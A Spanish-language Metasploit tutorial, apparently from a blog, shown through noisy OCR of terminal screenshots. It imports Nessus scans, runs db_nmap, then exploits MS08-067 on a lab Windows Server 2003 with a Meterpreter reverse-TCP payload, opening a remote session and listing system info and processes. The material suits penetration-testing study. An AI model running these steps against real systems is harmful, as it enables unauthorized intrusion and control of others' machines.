# MetaSploit, tomar control de equipos remotos

MetaSploit es una suite o conjunto de programas en realidad. Está diseñada para explotar las vulnerabilidades de los equipos y es sin duda el programa más usado por los mejores hackers del mundo. Dentro de MetaSploit, disponemos de multitud de herramientas y programas para ejecutar en las diferentes vulnerabilidades de cada equipo, a cada una de estas aplicaciones se le llama sploit.

Primero vamos a arrancar nuestra Kali Linux y le configuramos la red con una IP estática dentro del rango de red de la víctima con sudo nano /etc/networw/interfaces.



Cada vez que hagamos modificaciones de red, debemos reiniciarla. Si hacemos un ifconfig y sigue sin asignarnos la IP que le hemos puesto, reiniciamos Kali.



Ahora necesitaremos los logs de algún programa de detección de vulnerabilidades como el <u>Nessus</u> o el Openvas que hayamos usado anteriormente. Existe una guía sencilla de Nesus donde viene como obtenerlo paso a paso.

Abrimos Metasploit en Aplicaciones, Kali Linux, Servicios del sistema, Metasploit, Community pro start.



Archivo Editar Ver Buscar Terminal Ayuda
[ ok ] Starting PostgreSQL 9.1 database server: main. Configuring Metasploit Creating metasploit database user 'msf3' Creating metasploit database 'msf3' insserv: warning: current start runlevel(s) (empty) of script `metasploit' overr ides LSB defaults (2 3 4 5).
<pre>insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit ' overrides LSB defaults (0 1 6). [ ok ] Starting Metasploit rpc server: prosvc. [ ok ] Starting Metasploit web server: thin. [ ok ] Starting Metasploit worker: worker. root@kali:~#</pre>

Ahora vamos a crear la consola msf o de Metasploit. Tardará un rato amplio, luego pasado unos minutos empezará a crear las tablas.

1.4			
root	@ka	ili:	~

Archivo Editar Ver Buscar Terminal Ayuda n sessions id seg" for serial column "metasploit credential origin sessions.id" NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "metasploit crede ntial\_origin\_sessions\_pkey" for table "metasploit\_credential\_origin\_sessions' CREATE TABLE will create implicit sequence "metasploit\_credential\_origi NOTICE: n services id seq" for serial column "metasploit credential origin services.id" CREATE TABLE / PRIMARY KEY will create implicit index "metasploit crede NOTICE: ntial\_origin\_services\_pkey" for table "metasploit\_credential\_origin\_services" NOTICE: CREATE TABLE will create implicit sequence "metasploit credential cores \_id\_seq" for serial column "metasploit\_credential\_cores.id" \_\_\_\_\_\_\_ NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "metasploit\_crede ntial cores pkey" for table "metasploit credential cores" NOTICE: CREATE TABLE will create implicit sequence "metasploit credential login s id seq" for serial column "metasploit credential logins.id" NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "metasploit\_crede ntial\_logins\_pkey" for table "metasploit\_credential\_logins" NOTICE: CREATE TABLE will create implicit sequence "metasploit credential origi n\_cracked\_passwords\_id\_seq" for serial column "metasploit\_credential\_origin\_crac ked\_passwords.id" NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "metasploit\_crede ked passwords.id" ntial origin cracked passwords pkey" for table "metasploit credential origin cra cked passwords" [\*] The initial module cache will be built in the background, this can take 2-5 minutes...

Y finalmente sale la línea de consola.



Para ver la lista de comandos usamos la interrogación hacia abajo.

					го	ot@l	cali: ^					-	×
Archivo E	Editar	Ver	Busca	r Te	erminal	Ayu	da						
versi	ion		Show	the	frame	work	and	console	library	version	numbers	;	

## Database Backend Commands

Description
List all credentials in the database
Connect to an existing database
Disconnect from the current database instance
Export a file containing the contents of the database
Import a scan result file (filetype will be auto-detected)
Executes nmap and records the output automatically
Rebuilds the database-stored module cache
Show the current database status
List all hosts in the database
List all loot in the database
List all notes in the database
List all services in the database
List all vulnerabilities in the database
Switch between database workspaces

## <u>msf</u> > ?

Una cosa importante son los Workspace o lugares de trabajo, si ejecutamos workspace, entra en nuestro entorno de trabajo por defecto.

	root@kali: ~ 📃 🔍
Archivo Editar Ver Bus	scar Terminal Ayuda
Database Backend Comm	lands
Command	Description
creds	List all credentials in the database
db_connect	Connect to an existing database
db_disconnect	Disconnect from the current database instance
db_export	Export a file containing the contents of the database
db_import	Import a scan result file (filetype will be auto-detected)
db_nmap	Executes nmap and records the output automatically
db_rebuild_cache	Rebuilds the database-stored module cache
db_status	Show the current database status
hosts	List all hosts in the database
loot	List all loot in the database
notes	List all notes in the database
services	List all services in the database
vulns	List all vulnerabilities in the database
workspace	Switch between database workspaces
msf > workspace	
* default	
msf >	

Creamos otro workspace para atacar un Windows XP y vemos que se ha creado. Para ello ponemos workspace –a WinXP.

	root@kali: ~	_ 🗆 ×
Archivo Editar Ver Buscar Termina	l Ayuda	
creds List all db_connect Connect t db_disconnect Disconnec db_export Export a db_import Import a db_nmap Executes db_rebuild_cache Rebuilds db_status Show the hosts List all loot List all notes List all services List all vulns List all workspace Switch be	credentials in the database o an existing database t from the current database instance file containing the contents of the data scan result file (filetype will be auto- nmap and records the output automaticall the database-stored module cache current database status hosts in the database loot in the database notes in the database services in the database vulnerabilities in the database tween database workspaces	abase detected) y
<u>msf</u> > workspace * default <u>msf</u> > workspace -a WinXP [*] Added workspace: WinXP <u>msf</u> > workspace default * WinXP <u>msf</u> >	The quieter you become, the more you are able to bear.	
Creamos varios, uno por cada máquina v	irtual que tengamos y que queramos atacar.	
1	root@kali: ~	- • ×
Archivo Editar Ver Buscar Termina services List all vulns List all workspace Switch be	l Ayuda services in the database vulnerabilities in the database tween database workspaces	
<pre>msf &gt; workspace * default msf &gt; workspace -a WinXP [*] Added workspace: WinXP msf &gt; workspace    default * WinXP msf &gt; workspace -a Server2003 [*] Added workspace: Server2003 [*] Added workspace: Server2003 msf &gt; workspace -a MetaSploit [*] Added workspace: MetaSploit [*] Added workspace: Debian [*] Added workspace: Debian [*] Added workspace: Debian msf &gt; workspace    default    WinXP    Server2003    MetaSploit * Debian msf &gt;</pre>	The quieter you become, the more you are able to hear	

El asterisco marca el que está activo en este momento. Para cambiarlo se hace workspace y el nombre del workspace al que deseamos acceder.

- C2-	root@kali: ~	_	×
Archivo Editar Ver Buse	ar Terminal Ayuda		
db_rebuild_cache db_status hosts loot notes services vulns workspace	Rebuilds the database-stored module cache Show the current database status List all hosts in the database List all loot in the database List all notes in the database List all services in the database List all vulnerabilities in the database Switch between database workspaces		
<pre>msf &gt; workspace default WinXP Server2003 MetaSploit * Debian msf &gt; workspace WinXP [*] Workspace: WinXP</pre>			
<pre>msf &gt; workspace   default * WinXP   Server2003   MetaSploit   Debian msf &gt;</pre>	The quieter you become, the more you are able to hear		

Damos un ls para ver el nombre de los archivos a importar del <u>Nessus</u> que salvé anteriormente. En este caso para no complicarme los metí en el Home del root, que es desde el directorio que me arranca Metasploit.

				re	oot@kali	: ~				-	×
Archivo	Editar	Ver	Buscar	Terminal	Ayuda						
Debia <u>msf</u> > l [*] exe	n s c:ls					Ĩ					
Debian. Debian_ Desktop Hackert Hackert kb_192. Metaspl Metaspl Metaspl	nessus wexklf xw014e est.mt est.ne 168.20 oit_5m oit_dj oit.ne	.html .csv gx ssus .31.t i6ro 99kr ssus +	txt .html .csv								
Server2 Server2 Server2 VBoxLin Windows Windows Windows XPSP2.x <u>msf</u> >	003_fji 003_gh: 003.ne: uxAddi _XP_ch XP.nes: _XP_oc ml	nuhn zv96 ssus tions 10dy sus po6h	.html .csv s.run .html .csv	Ť	K (L	u became	LIR the more ve	DU AVE ADIE 1	3 o hear		

Ahora importamos el archivo del Nesus del Windows XP con el comando db\_import al workspace en el que estamos.



Ahora entramos en el workspace del Server2003 y vemos con el comando hosts los equipos que descubrimos con el <u>Nessus</u>.

root@kali: ~	_ 0
Archivo Editar Ver Buscar Terminal Ayuda	
Hackertest.mtgx	
Hackertest.nessus	
Metasploit 5mi6ro.html	
Metasploit_dj99kr.csv	
Metasploit.nessus	
Metasploit.txt Server2003 finuhn.html	
Server2003_ghzv96.csv	
Server2003.nessus	
Windows XP chl0dy.html	
WindowsXP.nessus	
Windows_XP_ocpo6h.csv	
<u>msf</u> > hosts	
Hasts	
addrass mac name Nan Eller name NOVAR Flavor o	
s sp purpose info comments	
The quieter you become, the more you are able to bear.	
192.168.20.31 08:00:27:13:E7:2E 192.168.20.31 Microsoft Windows 2003 S	
P2 server	
msf >	
Ahora usamos el comando db nmap –v –A v la IP del equipo para ver los puertos abiertos de l	a víctima.
root@kali: ~	_ 🗆 X
Archivo Editar Ver Buscar Terminal Ayuda	
<u>msf</u> > db_nmap -v -A 192.168.20.31	
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-15 09:43 CET	
[*] Nmap: NSE: Script Pre-scanning.	
[*] Nmap: Initiating ARP Ping Scan at 09:43	
[*] Nmap: Completed ARP Ping Scan at 09:43, 0.02s elapsed (1 total hosts)	
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 09:43	
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 09:43, 0.24s elapsed [*] Nmap: Initiating SYN Stealth Scap at 09:43	
[*] Nmap: Scanning 192.168.20.31 [1000 ports]	
[*] Nmap: Discovered open port 135/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 139/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 88/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 593/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 3268/tcp on 192.168.20.31           [*] Nmap: Discovered open port 464/tcp op 192.168-20.31	
[*] Nmap: Discovered open port 636/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 1027/tcp/on-192-168.20-31-10-10-2014	
<pre>[*] Nmap: Discovered open port 1026/tcp on 192.168.20.31 [*] Nmap: Discovered open port 389/tcp on 192.168.20.31</pre>	
[*] Nmap: Discovered open port 1042/tcp on 192.168.20.31	
[*] Nmap: Discovered open port 3269/tcp on 192.168.20.31	
[*] Nmap: Completed SYN Stealth Scan at 09:43, 0.48s elapsed (1000 total ports) [*] Nmap: Initiating Service scan at 09:43	
[] Mindp. Initiating Service Scall at 09.45	

Los comando del db\_nmap, son los mismos que con el programa Nmap. En MetaSploit para obtener ayuda de un comando escribimos help comando (ejemplo: help workspace), pero en los externos como es el db\_nmap, usaremos comando -h (ejemplo: db\_nmap –h).

Archivo Editar Ver Buscar Terminal Ayuda



El comando services nos muestra los servicios abiertos de la víctima.

root@kali: ~ Archivo Editar Ver Buscar Terminal Ayuda Nmap: nmap -v -iR 10000 -Pn -p 80 Nmap: SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES \*1 nsf > services Services nost port proto state info name .... ..... 192.168.20.31 88 Windows 2003 Kerberos server time: 2015-01-15 08: tcp kerberos-sec open 44:05Z 192.168.20.31 123 udp ntp open 192.168.20.31 135 Microsoft Windows RPC tcp msrpc open 192.168.20.31 137 netbios-ns udp open 192.168.20.31 139 tcp netbios-ssn open 192.168.20.31 389 tcp ldap open 192.168.20.31 445 microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds tcp open 192.168.20.31 192.168.20.31 464 tcp kpasswd5 open 593 ncacn\_http Microsoft Windows RPC over HTTP 1.0 tcp open 192.168.20.31 636 tcp tcpwrapped open Microsoft Windows RPC 192.168.20.31 1026 open tcp msrpc 192.168.20.31 1027 ncacn http Microsoft Windows RPC over HTTP 1.0 tcp open 192.168.20.31 1038 tcp dce-rpc open Microsoft Windows RPC 192.168.20.31 1042 tcp msrpc open 192.168.20.31 3268 open tcp ldap 192.168.20.31 3269 tcp tcpwrapped open nsf >

El comando vulns nos mostrará las vulnerabilidades del archivo obtenido por el Nessus, el Openvas, etc.

. 🗆 🗙

#### root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

msf :	> vulns
[*]	Time: 2015-01-14 12:34:53 UTC Vuln: host=192.168.20.31 name=Nessus Scan Information refs=NSS-1
9506	
[*]	Time: 2015-01-14 12:34:53 UTC Vuln: host=192.168.20.31 name=Common Platform Enumeration (CPE)
refs	=NSS-45590
[*]	Time: 2015-01-14 12:34:53 UTC Vuln: host=192.168.20.31 name=Device Type refs=NSS-54615
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=MS08-067: Microsoft Windows Server
Ser	vice Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=C
VE-2	008-4250,BID-31874,OSVDB-49243,MSFT-MS08-067,IAVA-2008-A-0081,CWE-94,MSF-MS08-067 Microsoft Se
rver	Service Relative Path Stack Corruption,NSS-34477
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=0S Identification refs=NSS-11936
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=Traceroute Information refs=NSS-10
287	
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=Ethernet Card Manufacturer Detecti
on n	efs=NSS-35716
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=LDAP Crafted Search Request Server
Inf	ormation Disclosure refs=NSS-25701
[*]	Time: 2015-01-14 12:34:54 UTC Vuln:/host=192.168.20.31 name=LDAP Crafted Search Request Server
Inf	ormation Disclosure refs=NSS-25701
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 hame=LDAP Server Detection refs=NSS-208
70	
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=LDAP Server Detection refs=NSS-208
70	
[*]	Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=Service Detection refs=NSS-22964
[*]	Time: 2015-01-14 12:34:55 UTC Vuln: host=192.168.20.31 name=Service Detection refs=NSS-22964
[*]	Time: 2015-01-14 12:34:55 UTC Vuln: host=192.168.20.31 name=Service Detection refs=NSS-22964
[*]	Time: 2015-01-14 12:34:55 UTC Vuln: host=192.168.20.31 name=Network Time Protocol (NTP) Server

El comando search nos ayuda a buscar módulos del MSF (Metasploit). Por ejemplo, si necesitamos un módulo para atacar una vulnerabilidad DNS, ponemos search dns y vemos de qué módulos disponemos y su ubicación.

root@kali: ~		- • ×
Archivo Editar Ver Buscar Terminal Ayuda		
ction refs=NSS-11011 <u>msf</u> > search dns		
Matching Modules		
Name	Disclosure Date Ra	nk Description
auxiliary/dos/mdns/avahi_portzero	2008-11-14 no	rmal Avahi Source
auxiliary/dos/windows/llmnr/msl1_030_dnsapi	2011-04-12 no	rmal Microsoft Win
dows DNSAPI.dll LLMNK Buffer Underrun Dos auxiliary/fuzzers/dns/dns_fuzzer	no	rmal DNS and DNSSE
auxiliary/gather/dns_bruteforce	no	rmal DNS Brutefoce
Enumeration auxiliary/gather/dns_cache_scraper	no	rmal DNS Non-Recur
auxiliary/gather/dns_info		rmal DNS Basic Inf
auxiliary/gather/dns_reverse_lookup		rmal DNS Reverse L
ookup Enumeration auxiliary/gather/dns_srv_enum	r, the more you are able to hear no	rmal DNS Common Se
rvice Record Enumeration auxiliary/gather/enum_dns	no	rmal DNS Record Sc
anner and Enumerator auxiliary/scanner/dns/dns_amp tion Scanner	no	rmal DNS Amplifica

Uno de los exploits mostrados es el exploit/windows7dcerpc7ms07\_029\_msdns\_zonename que explota una vulnerabilidad del DNS de los Windows 2000 y 2003 servers mediante el protocolo RPC en los controladores de dominio. Este exploit realiza un ataque DoS o de denegación de servicio que permite tumbar al servidor.

- 🗆 x

En 2003 Server tenemos una vulnerabilidad grave llamada ms08, la buscamos.

root@kali: ~			_ = ×
Archivo Editar Ver Buscar Terminal Ayuda			
[*] Time: 2015-01-14 12:34:58 UTC Vuln: host=192.168.20.3 ction refs=NSS-11011	1 name=Microsoft	Windows SMB	Service Dete
[*] Time: 2015-01-14 12:34:58 UTC Vuln: host=192.168.20.3 ction refs=NSS-11011	l name=Microsoft	Windows SMB	Service Dete
<u>mst</u> > search ms08	_		
Matching Modules			
Name	Disclosure Date	Rank	Description
auxiliary/admin/ms/ms08 059 his2006	2008-10-14	normal	Microsoft Ho
st Integration Server 2006 Command Execution Vulnerabilit	y		
exploit/windows/browser/ms08_041_snapshotviewer	2008-07-07	excellent	Snapshot Vie
wer for Microsoft Access ActiveX Control Arbitrary File D	lownload		
exploit/windows/browser/ms08_053_mediaencoder	2008-09-09	normal	Windows Medi
exploit/windows/browser/ms08 070 visual studio msmask	2008-08-13	normal	Microsoft Vi
sual Studio Mdmask32.ocx ActiveX Buffer Overflow exploit/windows/browser/ms08_078_xml_corruption	2008-12-07	normal	MS08-078 Mic
exploit/windows/smb/ms08 067 petapi	2008-10-28	areat	MS08-067 Mic
rosoft Server Service Relative Path Stack Corruption	meyou ane able to hear.	great	1000 001 1120
exploit/windows/smb/smb_relay rosoft Windows SMB Relay Code Execution	2001-03-31	excellent	MS08-068 Mic

### msf >

Ahora ejecutamos ese exploit que está en exploit/windows/smb/ms08\_067\_netapi. Para ello usamos el comando use.

root@kali: ~			_ 🗆 ×
Archivo Editar Ver Buscar Terminal Ayuda			
ction refs=NSS-11011 [*] Time: 2015-01-14 12:34:58 UTC Vuln: host=192.168.20. ction refs=NSS-11011 msf > search ms08	31 name≕Microsoft	Windows SMB	Service Dete
Matching Modules			
Name	Disclosure Date	Rank	Description
auxiliary/admin/ms/ms08_059_his2006 st Integration Server 2006 Command Execution Vulnerabili	2008-10-14	normal	Microsoft Ho
exploit/windows/browser/ms08_041_snapshotviewer wer for Microsoft Access ActiveX Control Arbitrary File	2008-07-07 Download	excellent	Snapshot Vie
exploit/windows/browser/ms08_053_mediaencoder a Encoder 9 wmex.dll ActiveX Buffer Overflow	2008-09-09	normal	Windows Medi
exploit/windows/browser/ms08_070_visual_studio_msmask sual Studio Mdmask32.ocx ActiveX Buffer Overflow	2008-08-13	normal	Microsoft Vi
exploit/windows/browser/ms08_078_xml_corruption rosoft Internet Explorer Data Binding Memory Corruption	2008-12-07	normal	MS08-078 Mic
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	MS08-067 Mic
exploit/windows/smb/smb_relay	2001-03-31	excellent	MS08-068 Mic
rosoft Windows SMB Relay Code Execution			
mat h was avalait/windows/amb/ma00.067 patani			
<pre>msi &gt; use exploit(windows/smb/ms08_06/_netapi msi exploit(ms08_067_netapi) &gt;</pre>			

Entramos en el host remoto. Para ello ponemos set RHOST y la IP de la víctima.

			root@kali: ~			_ 🗆 ×
Archivo Ed	itar Ver Busc	ar Terminal Ayu	ıda			
ction refs <u>msf</u> > sear	=NSS-11011 ch ms08	,				
Matching M	lodules					
Name				Disclosure Date	Rank	Description
auxilia st Integra	ry/admin/ms/ tion Server	/ms08_059_his20 2006 Command E	06 Execution Vulnerabilit	2008-10-14 V	normal	Microsoft Ho
exploit wer for Mi	/windows/bro	owser/ms08_041_ ess ActiveX Cor	snapshotviewer trol Arbitrary File D	2008-07-07 while ad	excellent	Snapshot Vie
exploit a Encoder	/windows/bro 9 wmex.dll A	owser/ms08_053_ ActiveX Buffer	mediaencoder Overflow	2008-09-09	normal	Windows Medi
exploit sual Studi	/windows/bro	owser/ms08_070 ocx ActiveX Buf	visual_studio_msmask fer Overflow	2008-08-13	normal	Microsoft Vi
exploit rosoft Int	/windows/bro	wser/ms08_078 er Data Bindir	xml_corruption a Memory Corruption	2008-12-07	normal	MS08-078 Mic
exploit rosoft Ser	/windows/smb	/ms08_067_neta Relative Path	Stack Conruption	2008-10-28	great	MS08-067 Mic
exploit rosoft Wir	/windows/smb dows SMB Rel	o/smb_relay lay Code Execut	1002-02512 150 ion	2001-03-31	excellent	MS08-068 Mic
<u>msf</u> > use <u>msf</u> exploi	exploit/wind t(ms08 067 n	dows/smb/ms08 netapi) > set P	067 netapi RHOST 192.168.20.31			
RHOST => 1 msf exploi	.92.168.20.31 .t(ms08_067_r	netapi) >	·/ 1 1 1 1 1·1·	1 1		1
Si ecribim	os into nos n	nostrara inform	ación de la vulnerabilic	1ad.		
			root@kali: ~			
Archivo Ed	current Set	ar Terminal Ayu ting Required	da I Description			_
RHOST RPORT SMBPIPE	192.168.20. 445 BROWSER	31 yes yes yes	The target address Set the SMB service The pipe name to us	port e (BROWSER, SRVSV	(C)	
Payload in	formation:					
Avoid: 8	characters					
Descriptio	n:					
This mod code of capable The corr with a d targets 2003 tar is just on 2003,	NetAPI32.dll of bypassing ect target m ozen others seem to hand gets will of the first ve along with	a parsing fla through the S NX on some op nust be used to in the same pr fle multiple su ten crash or h ersion of this other platform	w in the path canonic Server Service. This m Perating systems and s prevent the Server S rocess) from crashing. Accessful exploitation ang on subsequent att module, full support as, is still in develo	alization odule is ervice packs. ervice (along Windows XP events, but empts. This for NX bypass pment.		
References	:	- / (0000 105	a quieter you become the mo	re you are able to bellar		
http://c	www.osvdb.org	m/cve/2008-425 1/49243	0/			
http://t http://w	echnet.micro ww.rapid7.co	osoft.com/en-us om/vulndb/looku	/security/bulletin/MS p/dcerpc-ms-netapi-ne	08-067 tpathcanonicalize	-dos	
<u>msf</u> exploi	t( <b>ms08_067_n</b>	<pre>etapi ) &gt; info</pre>				

Entramos en nuestro host y vemos que payloads podemos usar. Para ello entramos con set LHOST y nuestra IP, y luego mostramos los payloads con show payloads.

root	@kali: ~	×
Archivo Editar Ver Buscar Terminal Ayuda		
<pre>msf exploit(ms08_067_netapi) &gt; set LH0ST 192 LH0ST =&gt; 192.168.20.21</pre>	2.168.20.21	
<u>msf</u> exploit( <b>ms08_067_netapi</b> ) > show payloads		
Compatible Payloads		
Name	Disclosure Date Bank	Description
generic/custom generic/debug_trap	normal	Custom Payload Generic x86 Debug Tra
p generic/shell_bind_tcp	normal	Generic Command Shell
, Bind TCP Inline generic/shell reverse tcp	normal	Generic Command Shell
, Reverse TCP Inline	normal	Generic x86 Tight Loo
p		
windows/dllinject/bind_ipv6_tcp	ARR REPARTS	Reflective DLL Inject
windows/dllinject/bind_nonx_tcp	ALGU LGULA (D/AAnormal	Reflective DLL Inject
windows/dllinject/bind_tcp	you become, the more you are able to here normal	Reflective DLL Inject
<pre>ion, Bind TCP Stager windows/dllinject/reverse hop http</pre>	normal	Reflective DLL Inject
ion, Reverse Hop HTTP Stager		
windows/dllinject/reverse_http	normal	Reflective DLL Inject

Cargamos el payload meterpreter para controlar la shell del Server 2003. Con esto lo que hacemos es ejecutar una consola de comandos interna de la víctima para poder controlarla.

root@kali: ~	_ = ×
Archivo Editar Ver Buscar Terminal Ayuda	
e Injection), Bind TCP Stager (IPv6) windows/vncinject/bind_nonx_tcp norma	l VNC Server (Reflectiv
windows/vncinject/bind_tcp norma	l VNC Server (Reflectiv
e Injection), Bind TCP Stager windows/vncinject/reverse_hop_http norma e Injection) Beverse Hop_HTTP_Stager	al VNC Server (Reflectiv
windows/vncinject/reverse_http norma	al VNC Server (Reflectiv
windows/vncinject/reverse_ipv6_tcp norma	l VNC Server (Reflectiv
windows/vncinject/reverse_nonx_tcp norma	l VNC Server (Reflectiv
e Injection), Reverse TCP Stager (No NX or Win/) windows/vncinject/reverse_ord_tcp norma	l VNC Server (Reflectiv
e Injection), Reverse Urginal TCP Stager (No NX or Win/) windows/vncinject/reverse_tcp norma	l VNC Server (Reflectiv
e Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports norma	l VNC Server (Reflectiv
e Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns	l VNC Server (Reflectiv
e Injection), Reverse TCP Stager (DNS) windows/vncinject/reverse_tcp_rc4 norma	al VNC Server (Reflectiv
e Injection), Reverse TCP Stager (RC4 Stage Encryption)	
<u>msf</u> exploit(ms08_067_netapi) > msf_exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp	
<pre>msf exploit(ms08_067_netapi) &gt;</pre>	

Ejecutamos ya el exploit meterpreter simplemente escribiendo meterpreter.

root@kau: ~	_ D X
Archivo Editar Ver Buscar Terminal Ayuda	
e Injection), Reverse TCP Stager (No NX or Win7) windows/vncinject/reverse_ord_tcp r	ormal VNC Server (Reflectiv
e Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/vncinject/reverse_tcp r	ormal VNC Server (Reflectiv
e Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports r e Injection), Reverse All-Port TCP Stager	ormal VNC Server (Reflectiv
windows/vncinject/reverse_tcp_dns r e Injection), Reverse TCP Stager (DNS)	ormal VNC Server (Reflectiv
windows/vncinject/reverse_tcp_rc4 r e Injection), Reverse TCP Stager (RC4 Stage Encryption)	ormal VNC Server (Reflectiv
<u>msf</u> exploit( <u>ms08_067_netapi</u> ) > <u>msf</u> exploit( <u>ms08_067_netapi</u> ) > set PAYLOAD windows/meterpreter/reverse PAYLOAD => windows/meterpreter/reverse_tcp <u>msf</u> exploit( <u>ms08_067_netapi</u> ) > exploit	_tcp
<pre>[*] Started reverse handler on 192.168.20.21:4444 [*] Automatically detecting the target [*] Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown [*] We could not detect the language pack, defaulting to English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Attempting to trigger the vulnerability [*] Sending stage (769536 bytes) to 192.168.20.31 [*] Meterpreter session 1 opened (192.168.20.21:4444 -&gt; 192.168.20.31: +0100</pre>	3193) at 2015-01-15 11:51:01
<u>meterpreter</u> >	
Con esto ya estamos dentro del Windows 2003 Server. Podemos verlo con	sysinfo.
Examine y ejecute aplicaciones instaladas root@kali: ~	_ O X
Archivo Editar Ver Buscar Terminal Ayuda	
e Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns n	ormal VNC Server (Reflectiv
e Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns n e Injection), Reverse TCP Stager (DNS) windows/vncinject/reverse_tcp_rc4 n e Injection), Reverse TCP Stager (RC4 Stage Encryption)	ormal VNC Server (Reflectiv ormal VNC Server (Reflectiv
<pre>e Injection), Reverse All-Port TCP Stager    windows/vncinject/reverse_tcp_dns n e Injection), Reverse TCP Stager (DNS)    windows/vncinject/reverse_tcp_rc4 n e Injection), Reverse TCP Stager (RC4 Stage Encryption)  msf exploit(ms08_067_netapi) &gt; msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/reverse PAYLOAD =&gt; windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) &gt; exploit</pre>	ormal VNC Server (Reflectiv ormal VNC Server (Reflectiv _tcp
<pre>e Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns n e Injection), Reverse TCP Stager (DNS) windows/vncinject/reverse_tcp_rc4 n e Injection), Reverse TCP Stager (RC4 Stage Encryption) msf exploit(ms08_067_netapi) &gt; msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/reverse PAYLOAD =&gt; windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) &gt; exploit [*] Started reverse handler on 192.168.20.21:4444 [*] Automatically detecting the target [*] Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown [*] We could not detect the language pack, defaulting to English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Attempting to trigger the vulnerability [*] Sending stage (769536 bytes) to 192.168.20.31 [*] Meterpreter session 1 opened (192.168.20.21:4444 -&gt; 192.168.20.31: +0100</pre>	ormal VNC Server (Reflectiv ormal VNC Server (Reflectiv _tcp 3193) at 2015-01-15 11:51:01
<pre>e Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns n e Injection), Reverse TCP Stager (DNS) windows/vncinject/reverse_tcp_rc4 n e Injection), Reverse TCP Stager (RC4 Stage Encryption) msf exploit(ms08_067_netapi) &gt; msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/reverse PAYLOAD =&gt; windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) &gt; exploit [*] Started reverse handler on 192.168.20.21:4444 [*] Automatically detecting the target [*] Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown [*] We could not detect the language pack, defaulting to English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Attempting to trigger the vulnerability [*] Sending stage (769536 bytes) to 192.168.20.31 [*] Meterpreter session 1 opened (192.168.20.31 [*] Meterpreter session 1 opened (192.168.20.21:4444 -&gt; 192.168.20.31: +0100 meterpreter &gt; sysinfo Computer : SERVIDORW2003 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : es_ES Meterpreter : x86/win32 meterpreter : x86/win32</pre>	ormal VNC Server (Reflectiv ormal VNC Server (Reflectiv _tcp 3193) at 2015-01-15 11:51:01

Con ps vemos que procesos está ejecutando el Windows 2003. Nos muestra el ejecutable del proceso y el PID o identificador numérico del proceso.

Archivo Editar Ver \svchost.exe 1024 252 ctfmor \ctfmon.exe 1172 380 spools	Buscar Terminal A n.exe x86	yuda O		
\svchost.exe 1024 252 ctfmor \ctfmon.exe 1172 380 spools	n.exe x86	Ø		
1024 252 ctfmor \ctfmon.exe 1172 380 spools	n.exe x86	Θ	CURCOCE CURTRADY Administration	the second se
<pre>\ctfmon.exe 1172 380 spools \spoolsy ava</pre>			CURSUSEGURIDAD\Administrator	C:\WINDOWS\system32
1172 380 spools				
Venool ev ovo	sv.exe x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
(spoorsv.exe				
1200 380 msdtc.	.exe x86	Θ	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32
\msdtc.exe				
1276 380 dfssvo	.exe x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
\Dfssvc.exe				
1328 380 svchos	st.exe x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svchost.exe				
1392 380 ismser	rv.exe x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32
\ismserv.exe				10.000.000.000.0000 Store
1404 380 ntfrs.	.exe x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
\ntfrs.exe				
1484 380 svchos	st.exe x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32
\svchost.exe				
